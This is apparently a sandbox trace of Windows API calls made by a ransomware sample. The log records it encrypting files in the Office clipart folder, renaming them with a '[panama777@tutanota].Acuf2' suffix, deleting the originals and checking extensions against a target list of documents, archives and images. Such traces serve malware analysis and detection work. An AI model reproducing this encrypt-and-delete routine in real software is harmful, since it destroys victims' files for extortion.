	[0260.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0260.722] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.722] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0260.723] GetLastError () returned 0x0
	[0260.723] ReadFile (in: hFile=0x32c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xe20, lpOverlapped=0x0) returned 1
	[0260.724] WriteFile (in: hFile=0x338, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xe30, lpOverlapped=0x0) returned 1
	[0260.725] ReadFile (in: hFile=0x32c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.725] WriteFile (in: hFile=0x338, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.725] SetEndOfFile (hFile=0x338) returned 1
	[0260.725] CloseHandle (hObject=0x338) returned 1
	[0260.725] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.725] SetEndOfFile (hFile=0x32c) returned 1
	[0260.728] CloseHandle (hObject=0x32c) returned 1
	[0260.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.729] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf")) returned 1
	[0260.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63
	[0260.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63
	[0260.729] lstrlenW (lpString=".doc") returned 4
	[0260.729] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.729] lstrlenW (lpString=".docx") returned 5
	[0260.729] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.729] lstrlenW (lpString=".pdf") returned 4
	[0260.729] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.729] lstrlenW (lpString=".xls") returned 4
	[0260.729] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.729] lstrlenW (lpString=".xlsx") returned 5
	[0260.729] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.729] lstrlenW (lpString=".ppt") returned 4
	[0260.729] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63
	[0260.729] lstrlenW (lpString=".zip") returned 4
	[0260.729] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.729] lstrlenW (lpString=".rar") returned 4
	[0260.729] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.729] lstrlenW (lpString=".bz2") returned 4
	[0260.729] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.729] lstrlenW (lpString=".7z") returned 3
	[0260.729] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63
	[0260.729] lstrlenW (lpString=".dbf") returned 4
	[0260.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63
	[0260.730] lstrlenW (lpString=".1cd") returned 4
	[0260.730] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63
	[0260.730] lstrlenW (lpString=".jpg") returned 4
	[0260.730] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63
	[0260.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63
	[0260.730] lstrlenW (lpString=".doc") returned 4
	[0260.730] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.730] lstrlenW (lpString=".docx") returned 5
	[0260.730] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.730] lstrlenW (lpString=".pdf") returned 4
	[0260.730] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.730] lstrlenW (lpString=".xls") returned 4
	[0260.730] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.730] lstrlenW (lpString=".xlsx") returned 5
	[0260.730] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.730] lstrlenW (lpString=".ppt") returned 4
	[0260.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63
	[0260.730] lstrlenW (lpString=".zip") returned 4
	[0260.730] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.730] lstrlenW (lpString=".rar") returned 4
	[0260.730] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.730] lstrlenW (lpString=".bz2") returned 4
	[0260.730] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.730] lstrlenW (lpString=".7z") returned 3
	[0260.730] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63
	[0260.730] lstrlenW (lpString=".dbf") returned 4
	[0260.730] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63
	[0260.731] lstrlenW (lpString=".1cd") returned 4
	[0260.731] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63
	[0260.731] lstrlenW (lpString=".jpg") returned 4
	[0260.731] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.731] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.731] lstrlenW (lpString="DD01143_.WMF") returned 12
	[0260.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0260.731] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=2140) returned 1
	[0260.731] CloseHandle (hObject=0x32c) returned 1
	[0260.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x20
	[0260.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0260.732] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.732] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0260.732] GetLastError () returned 0x0
	[0260.732] ReadFile (in: hFile=0x32c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x85c, lpOverlapped=0x0) returned 1
	[0260.895] WriteFile (in: hFile=0x338, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x860, lpOverlapped=0x0) returned 1
	[0260.896] ReadFile (in: hFile=0x32c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.896] WriteFile (in: hFile=0x338, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.896] SetEndOfFile (hFile=0x338) returned 1
	[0260.896] CloseHandle (hObject=0x338) returned 1
	[0260.896] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.896] SetEndOfFile (hFile=0x32c) returned 1
	[0260.900] CloseHandle (hObject=0x32c) returned 1
	[0260.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf")) returned 1
	[0260.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63
	[0260.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63
	[0260.916] lstrlenW (lpString=".doc") returned 4
	[0260.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.916] lstrlenW (lpString=".docx") returned 5
	[0260.916] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.916] lstrlenW (lpString=".pdf") returned 4
	[0260.916] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.916] lstrlenW (lpString=".xls") returned 4
	[0260.916] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.916] lstrlenW (lpString=".xlsx") returned 5
	[0260.916] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.917] lstrlenW (lpString=".ppt") returned 4
	[0260.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63
	[0260.917] lstrlenW (lpString=".zip") returned 4
	[0260.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.917] lstrlenW (lpString=".rar") returned 4
	[0260.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.917] lstrlenW (lpString=".bz2") returned 4
	[0260.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.917] lstrlenW (lpString=".7z") returned 3
	[0260.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63
	[0260.917] lstrlenW (lpString=".dbf") returned 4
	[0260.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63
	[0260.917] lstrlenW (lpString=".1cd") returned 4
	[0260.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63
	[0260.917] lstrlenW (lpString=".jpg") returned 4
	[0260.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63
	[0260.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63
	[0260.917] lstrlenW (lpString=".doc") returned 4
	[0260.917] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.917] lstrlenW (lpString=".docx") returned 5
	[0260.917] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.917] lstrlenW (lpString=".pdf") returned 4
	[0260.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.917] lstrlenW (lpString=".xls") returned 4
	[0260.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.917] lstrlenW (lpString=".xlsx") returned 5
	[0260.917] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.918] lstrlenW (lpString=".ppt") returned 4
	[0260.918] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63
	[0260.918] lstrlenW (lpString=".zip") returned 4
	[0260.918] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.918] lstrlenW (lpString=".rar") returned 4
	[0260.918] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.918] lstrlenW (lpString=".bz2") returned 4
	[0260.918] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.918] lstrlenW (lpString=".7z") returned 3
	[0260.918] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63
	[0260.918] lstrlenW (lpString=".dbf") returned 4
	[0260.918] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63
	[0260.918] lstrlenW (lpString=".1cd") returned 4
	[0260.918] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63
	[0260.918] lstrlenW (lpString=".jpg") returned 4
	[0260.918] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.918] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.918] lstrlenW (lpString="DD01152_.WMF") returned 12
	[0260.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0260.919] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=2960) returned 1
	[0260.919] CloseHandle (hObject=0x360) returned 1
	[0260.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x20
	[0260.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0260.919] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.919] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0260.919] GetLastError () returned 0x0
	[0260.919] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xb90, lpOverlapped=0x0) returned 1
	[0260.939] WriteFile (in: hFile=0x2a4, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xba0, lpOverlapped=0x0) returned 1
	[0260.940] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.940] WriteFile (in: hFile=0x2a4, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.940] SetEndOfFile (hFile=0x2a4) returned 1
	[0260.940] CloseHandle (hObject=0x2a4) returned 1
	[0260.940] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.940] SetEndOfFile (hFile=0x360) returned 1
	[0260.942] CloseHandle (hObject=0x360) returned 1
	[0260.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf")) returned 1
	[0260.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63
	[0260.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63
	[0260.951] lstrlenW (lpString=".doc") returned 4
	[0260.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.951] lstrlenW (lpString=".docx") returned 5
	[0260.951] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.951] lstrlenW (lpString=".pdf") returned 4
	[0260.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.952] lstrlenW (lpString=".xls") returned 4
	[0260.952] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.952] lstrlenW (lpString=".xlsx") returned 5
	[0260.952] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.952] lstrlenW (lpString=".ppt") returned 4
	[0260.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63
	[0260.952] lstrlenW (lpString=".zip") returned 4
	[0260.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.952] lstrlenW (lpString=".rar") returned 4
	[0260.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.952] lstrlenW (lpString=".bz2") returned 4
	[0260.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.952] lstrlenW (lpString=".7z") returned 3
	[0260.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63
	[0260.952] lstrlenW (lpString=".dbf") returned 4
	[0260.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63
	[0260.952] lstrlenW (lpString=".1cd") returned 4
	[0260.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63
	[0260.952] lstrlenW (lpString=".jpg") returned 4
	[0260.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63
	[0260.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63
	[0260.952] lstrlenW (lpString=".doc") returned 4
	[0260.952] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.952] lstrlenW (lpString=".docx") returned 5
	[0260.952] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.952] lstrlenW (lpString=".pdf") returned 4
	[0260.952] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.953] lstrlenW (lpString=".xls") returned 4
	[0260.953] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.953] lstrlenW (lpString=".xlsx") returned 5
	[0260.953] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.953] lstrlenW (lpString=".ppt") returned 4
	[0260.953] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63
	[0260.953] lstrlenW (lpString=".zip") returned 4
	[0260.953] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.953] lstrlenW (lpString=".rar") returned 4
	[0260.953] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.953] lstrlenW (lpString=".bz2") returned 4
	[0260.953] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.953] lstrlenW (lpString=".7z") returned 3
	[0260.953] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63
	[0260.953] lstrlenW (lpString=".dbf") returned 4
	[0260.953] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63
	[0260.953] lstrlenW (lpString=".1cd") returned 4
	[0260.953] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63
	[0260.953] lstrlenW (lpString=".jpg") returned 4
	[0260.953] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.953] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.953] lstrlenW (lpString="DD01162_.WMF") returned 12
	[0260.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0260.971] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=2300) returned 1
	[0260.971] CloseHandle (hObject=0x358) returned 1
	[0260.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x20
